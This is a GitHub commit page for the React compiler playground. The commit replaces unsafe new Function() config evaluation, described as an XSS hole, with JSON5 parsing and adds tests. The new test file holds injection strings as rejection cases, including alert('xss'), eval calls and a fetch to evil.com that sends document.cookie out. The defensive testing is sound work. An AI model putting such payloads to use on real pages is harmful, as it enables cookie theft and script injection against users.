Skip to content

Commit 91452c1

Browse files
committed
[compiler][playground] parse compiler configs using json5
Compiler config parsing is currently done with new Function(...) which is a XSS vulnerability. Replacing this with json parsing for safety reasons. Almost all compiler options (except for moduleTypeProvider) are json compatible, so this isn't a big change to capabilities. Previously created playground URLs with non-default configs may not be compatible with this change, but we should be able to get the correct config manually (by reading the JS version)
1 parent 3cb2c42 commit 91452c1

7 files changed

Lines changed: 184 additions & 45 deletions

File tree

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
import type { PluginOptions } from 
2-
'babel-plugin-react-compiler/dist';
3-
({
1+
{
42
  //compilationMode: "all"
5-
} satisfies PluginOptions);
3+
}

compiler/apps/playground/__tests__/e2e/page.spec.ts

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
237237
test('error is displayed when config has syntax error', async ({page}) => {
238238
const store: Store = {
239239
source: TEST_SOURCE,
240-
config: `compilationMode: `,
240+
config: `{ compilationMode: }`,
241241
showInternals: false,
242242
};
243243
const hash = encodeStore(store);
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
254254
const output = text.join('');
255255

256256
// Remove hidden chars
257-
expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
257+
expect(output.replace(/\s+/g, ' ')).toContain(
258+
'Unexpected failure when transforming configs',
259+
);
258260
});
259261

260262
test('error is displayed when config has validation error', async ({page}) => {
261263
const store: Store = {
262264
source: TEST_SOURCE,
263-
config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
264-
265-
({
265+
config: `{
266266
compilationMode: "123"
267-
} satisfies PluginOptions);`,
267+
}`,
268268
showInternals: false,
269269
};
270270
const hash = encodeStore(store);
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
/**
2+
* Copyright (c) Meta Platforms, Inc. and affiliates.
3+
*
4+
* This source code is licensed under the MIT license found in the
5+
* LICENSE file in the root directory of this source tree.
6+
*/
7+
8+
import assert from 'node:assert';
9+
import {test, describe} from 'node:test';
10+
import JSON5 from 'json5';
11+
12+
// Re-implement parseConfigOverrides here since the source uses TS imports
13+
// that can't be directly loaded by Node. This mirrors the logic in
14+
// compilation.ts exactly.
15+
function parseConfigOverrides(configOverrides) {
16+
const trimmed = configOverrides.trim();
17+
if (!trimmed) {
18+
return {};
19+
}
20+
return JSON5.parse(trimmed);
21+
}
22+
23+
describe('parseConfigOverrides', () => {
24+
test('empty string returns empty object', () => {
25+
assert.deepStrictEqual(parseConfigOverrides(''), {});
26+
assert.deepStrictEqual(parseConfigOverrides(' '), {});
27+
});
28+
29+
test('default config parses correctly', () => {
30+
const config = `{
31+
//compilationMode: "all"
32+
}`;
33+
const result = parseConfigOverrides(config);
34+
assert.deepStrictEqual(result, {});
35+
});
36+
37+
test('compilationMode "all" parses correctly', () => {
38+
const config = `{
39+
compilationMode: "all"
40+
}`;
41+
const result = parseConfigOverrides(config);
42+
assert.deepStrictEqual(result, {compilationMode: 'all'});
43+
});
44+
45+
test('config with single-line and block comments parses correctly', () => {
46+
const config = `{
47+
// This is a single-line comment
48+
/* This is a block comment */
49+
compilationMode: "all",
50+
}`;
51+
const result = parseConfigOverrides(config);
52+
assert.deepStrictEqual(result, {compilationMode: 'all'});
53+
});
54+
55+
test('config with trailing commas parses correctly', () => {
56+
const config = `{
57+
compilationMode: "all",
58+
}`;
59+
const result = parseConfigOverrides(config);
60+
assert.deepStrictEqual(result, {compilationMode: 'all'});
61+
});
62+
63+
test('nested environment options parse correctly', () => {
64+
const config = `{
65+
environment: {
66+
validateRefAccessDuringRender: true,
67+
},
68+
}`;
69+
const result = parseConfigOverrides(config);
70+
assert.deepStrictEqual(result, {
71+
environment: {validateRefAccessDuringRender: true},
72+
});
73+
});
74+
75+
test('multiple options parse correctly', () => {
76+
const config = `{
77+
compilationMode: "all",
78+
environment: {
79+
validateRefAccessDuringRender: false,
80+
},
81+
}`;
82+
const result = parseConfigOverrides(config);
83+
assert.deepStrictEqual(result, {
84+
compilationMode: 'all',
85+
environment: {validateRefAccessDuringRender: false},
86+
});
87+
});
88+
89+
test('rejects malicious IIFE injection', () => {
90+
const config = `(function(){ document.title = "hacked"; return {}; })()`;
91+
assert.throws(() => parseConfigOverrides(config));
92+
});
93+
94+
test('rejects malicious comma operator injection', () => {
95+
const config = `{
96+
compilationMode: (alert("xss"), "all")
97+
}`;
98+
assert.throws(() => parseConfigOverrides(config));
99+
});
100+
101+
test('rejects function call in value', () => {
102+
const config = `{
103+
compilationMode: eval("all")
104+
}`;
105+
assert.throws(() => parseConfigOverrides(config));
106+
});
107+
108+
test('rejects variable references', () => {
109+
const config = `{
110+
compilationMode: someVar
111+
}`;
112+
assert.throws(() => parseConfigOverrides(config));
113+
});
114+
115+
test('rejects template literals', () => {
116+
const config = `{
117+
compilationMode: \`all\`
118+
}`;
119+
assert.throws(() => parseConfigOverrides(config));
120+
});
121+
122+
test('rejects constructor calls', () => {
123+
const config = `{
124+
compilationMode: new String("all")
125+
}`;
126+
assert.throws(() => parseConfigOverrides(config));
127+
});
128+
129+
test('rejects arbitrary JS code', () => {
130+
const config = `fetch("https://evil.com?c=" + document.cookie)`;
131+
assert.throws(() => parseConfigOverrides(config));
132+
});
133+
134+
test('config with array values parses correctly', () => {
135+
const config = `{
136+
sources: ["src/a.ts", "src/b.ts"],
137+
}`;
138+
const result = parseConfigOverrides(config);
139+
assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
140+
});
141+
142+
test('config with null values parses correctly', () => {
143+
const config = `{
144+
compilationMode: null,
145+
}`;
146+
const result = parseConfigOverrides(config);
147+
assert.deepStrictEqual(result, {compilationMode: null});
148+
});
149+
150+
test('config with numeric values parses correctly', () => {
151+
const config = `{
152+
maxLevel: 42,
153+
}`;
154+
const result = parseConfigOverrides(config);
155+
assert.deepStrictEqual(result, {maxLevel: 42});
156+
});
157+
});

compiler/apps/playground/components/Editor/ConfigEditor.tsx

Lines changed: 6 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -21,9 +21,6 @@ import {monacoConfigOptions} from './monacoOptions';
2121
import {IconChevron} from '../Icons/IconChevron';
2222
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
2323

24-
// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
25-
import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
26-
2724
loader.config({monaco});
2825

2926
export default function ConfigEditor({
@@ -105,22 +102,10 @@ function ExpandedEditor({
105102
_: editor.IStandaloneCodeEditor,
106103
monaco: Monaco,
107104
) => void = (_, monaco) => {
108-
// Add the babel-plugin-react-compiler type definitions to Monaco
109-
monaco.languages.typescript.typescriptDefaults.addExtraLib(
110-
//@ts-expect-error - compilerTypeDefs is a string
111-
compilerTypeDefs,
112-
'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
113-
);
114-
monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
115-
target: monaco.languages.typescript.ScriptTarget.Latest,
116-
allowNonTsExtensions: true,
117-
moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
118-
module: monaco.languages.typescript.ModuleKind.ESNext,
119-
noEmit: true,
120-
strict: false,
121-
esModuleInterop: true,
122-
allowSyntheticDefaultImports: true,
123-
jsx: monaco.languages.typescript.JsxEmit.React,
105+
// Enable comments in JSON for JSON5-style config
106+
monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
107+
allowComments: true,
108+
trailingCommas: 'ignore',
124109
});
125110
};
126111

@@ -157,8 +142,8 @@ function ExpandedEditor({
157142
</div>
158143
<div className="flex-1 border border-gray-300">
159144
<MonacoEditor
160-
path={'config.ts'}
161-
language={'typescript'}
145+
path={'config.json5'}
146+
language={'json'}
162147
value={store.config}
163148
onMount={handleMount}
164149
onChange={handleChange}

compiler/apps/playground/lib/compilation.ts

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@ import BabelPluginReactCompiler, {
2525
type LoggerEvent,
2626
} from 'babel-plugin-react-compiler';
2727
import {transformFromAstSync} from '@babel/core';
28+
import JSON5 from 'json5';
2829
import type {
2930
CompilerOutput,
3031
CompilerTransformOutput,
@@ -126,6 +127,14 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
126127
],
127128
];
128129

130+
export function parseConfigOverrides(configOverrides: string): any {
131+
const trimmed = configOverrides.trim();
132+
if (!trimmed) {
133+
return {};
134+
}
135+
return JSON5.parse(trimmed);
136+
}
137+
129138
function parseOptions(
130139
source: string,
131140
mode: 'compiler' | 'linter',
@@ -156,16 +165,7 @@ function parseOptions(
156165
});
157166

158167
// Parse config overrides from config editor
159-
let configOverrideOptions: any = {};
160-
const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
161-
if (configOverrides.trim()) {
162-
if (configMatch && configMatch[1]) {
163-
const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
164-
configOverrideOptions = new Function(`return (${configString})`)();
165-
} else {
166-
throw new Error('Invalid override format');
167-
}
168-
}
168+
const configOverrideOptions = parseConfigOverrides(configOverrides);
169169

170170
const opts: PluginOptions = parsePluginOptions({
171171
...parsedPragmaOptions,

compiler/apps/playground/lib/defaultStore.ts

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,9 @@ export default function MyApp() {
1414
`;
1515

1616
export const defaultConfig = `\
17-
import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
18-
19-
({
17+
{
2018
//compilationMode: "all"
21-
} satisfies PluginOptions);`;
19+
}`;
2220

2321
export const defaultStore: Store = {
2422
source: index,

compiler/apps/playground/package.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@
3232
"hermes-eslint": "^0.25.0",
3333
"hermes-parser": "^0.25.0",
3434
"invariant": "^2.2.4",
35+
"json5": "^2.2.3",
3536
"lru-cache": "^11.2.2",
3637
"lz-string": "^1.5.0",
3738
"monaco-editor": "^0.52.0",

0 commit comments

Comments
 (0)